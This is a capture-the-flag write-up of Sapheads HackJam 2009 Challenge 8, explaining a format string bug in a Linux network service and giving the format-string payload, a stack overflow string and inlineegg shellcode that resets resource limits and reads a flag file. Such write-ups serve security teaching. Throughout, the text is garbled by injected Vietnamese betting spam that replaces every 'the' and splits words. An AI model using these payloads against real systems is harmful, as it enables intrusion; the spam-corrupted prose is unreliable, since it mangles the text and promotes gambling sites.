Writing neat shellcode using inlineegg - Sapheads HackJam 2009 Challenge 8

Challenge 8 is a trivial format string bug, but one needs neat shellcode to get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 flag.

1. Analysis

First thing first:

$ file t1g3rd

t1g3rd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.15, dynamically linked (uses shared libs), not stripped

t1g3rd is a regular network service that when executed would listen on port 7384. When a client comes in, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 binary forks a new child process, and calls a function named handleClient. At cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 begining of handleClient, t1g3rd calls setrlimit(2) to disallow this child process to open new file or fork a new process. This makes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 binary a perfect example to illustrate how to write neat shellcode using inlineegg :-D.

handleClient cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n goes on to read two inputs, which are 19 bytes long and 512 bytes long respectively, from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 client. The first input is sent back to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 client using printf(3), and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second is just discarded.

2. Vulnerability

As one can guess, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 printf(3) call at 0x08048c52 that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 binary uses to send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first input back to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 client is vulnerable to format string attack. The format string is limited to 19 bytes long, so one needs to choose where to write with which value wisely.

3. Exploit

Usually, with this kind of format string bug, one could overwrite cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RIP of handleClient or cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RIP of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerable printf(3) call to loop back to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 begining of handleClient, so that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 binary would read(2) anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r 19 bytes, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 next printf(3) call would allow her to overwrite some more bytes to somewhere else such as a GOT entry. One could also redirect to right above cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first read(2) call, so that it would read(2) more than 19 bytes, which in turn allows him to overwrite as many bytes to any where as he wants. But we don't need to use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se techniques here.

Right after cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerable printf(3) call is anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r read(2) call at 0x08048c7f whose pseudo-code looks like:

read(0, input_buffer2, length)

where length is an integer stored at $EBP - 0x228 on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack. Before this call, at 0x08048b43, length is assigned a default value which is 512. What if we overwrite length so that it becomes 1000? Since input_buffer2 is just 512 bytes long, and we read(2) in 1000 bytes, we would get a classic stack-based buffer overflow.

Here are two exploit strings that we send to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 binary:

# overwrite length so that read(0, input_buffer2, length) at 0x08048c7f reads more than 512 bytes
length_slot = 0xbf9c1978 #original length: 0x0000200
new_length = 1000
msg1 = struct.pack('I', length_slot) + '%' + str(new_length) + 'c%134$hn' # this is 18 bytes

# msg2 = SHELLCODE + RET
shellcode = SHELLCODE # shellcode's length should a multiple of 4
msg2 = shellcode + '\x84\x19\x9c\xbf' * ((0x224 - len(msg2))/4) # 0xbf9c1984 = input_buffer2


4. Shellcode

Now I can make t1g3rd run my shellcode, but as I said in Section 1, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 binary disallows opening new file or forking new process. That means cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 shellcode can't do anything useful, i.e. reading cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 key file or returning a shell. Or can it? What if our shellcode calls setrlmit(2) to set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 resource limitations back to normal values?

Then comes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 question of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 day: how to write shellcode that calls setrlmit(2)? Or a more generic question: how to write shellcode that calls syscalls that accept structures as parameters? Actually, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are 3 ways to write that kind of shellcode: a) write it using Assembly; b) or write a C program, and use ShellForge to get out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 respective shellcode; c) or use inlineegg to write it in Python.

As cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 title of this entry suggests, I'll go with inlineegg. To be honest I hadn't written this kind of shellcode before, so it took me an hour or so to figure out how to do it with inlineegg. This is just basic knowledge, but I hope somebody would find my work useful.

Here is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 shellcode:

1. egg = InlineEgg(Linuxx86Syscall)
2. egg.addCode(egg.micro.pushTuple((100, 200)))
3. egg.setrlimit(7, egg.micro.varAtTop().addr()) # RLIMIT_NOFILE
4. buff = egg.alloc(20)
5. fd = egg.save(-1)
6. fd = egg.open(flag_file)
7. nr = egg.read(fd, buff.addr(), 20)
8. egg.write(0, buff.addr(), nr)
9. #egg.execve('/bin/cat',('cat', flag_file)) # easier way
10. egg.exit(0)

The most important lines are 2 and 3 which I would explain shortly. If you want to understand cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rest, I suggest you reading inlineegg's documetation and examples.

The prototype of setrlimit(2) is:

int setrlimit(int resource, const struct rlimit *rlim);

where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second parameter is a pointer to a rlimit structure which is:

struct rlimit {
rlim_t rlim_cur; /* Soft limit */
rlim_t rlim_max; /* Hard limit (ceiling for rlim_cur) */
};

So in order to call setrlimit(2), we need to pass to it an address that points to a rlimit structure containing more relaxing values of rlim_cur and rlimit_max.

At line 2, I push a tuple (100, 200) to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack. egg.micro.pushTuple((100, 200)) would return cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Assembly code that pushes 100 and 200 to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack, and egg.addCode of course would add that code to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 egg.

At line 3, egg.micro.varAtTop() would return cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 variable (see class Variable in inlineegg.py) at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 top of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack. Since we just push 100 and 200 to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack, this variable would contain cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se two integers. I call addr() on this variable to get its address, and pass cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 result as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second argument of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 setrlimit(2) syscall.

And that's it! Is it neat? He he he. In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 next writeup, I'll illustrate how to use inlineegg to write even sneakier shellcode. Stay tuned and happy hacking!

Comments

... quá hay ... rất cám ơn bạn ...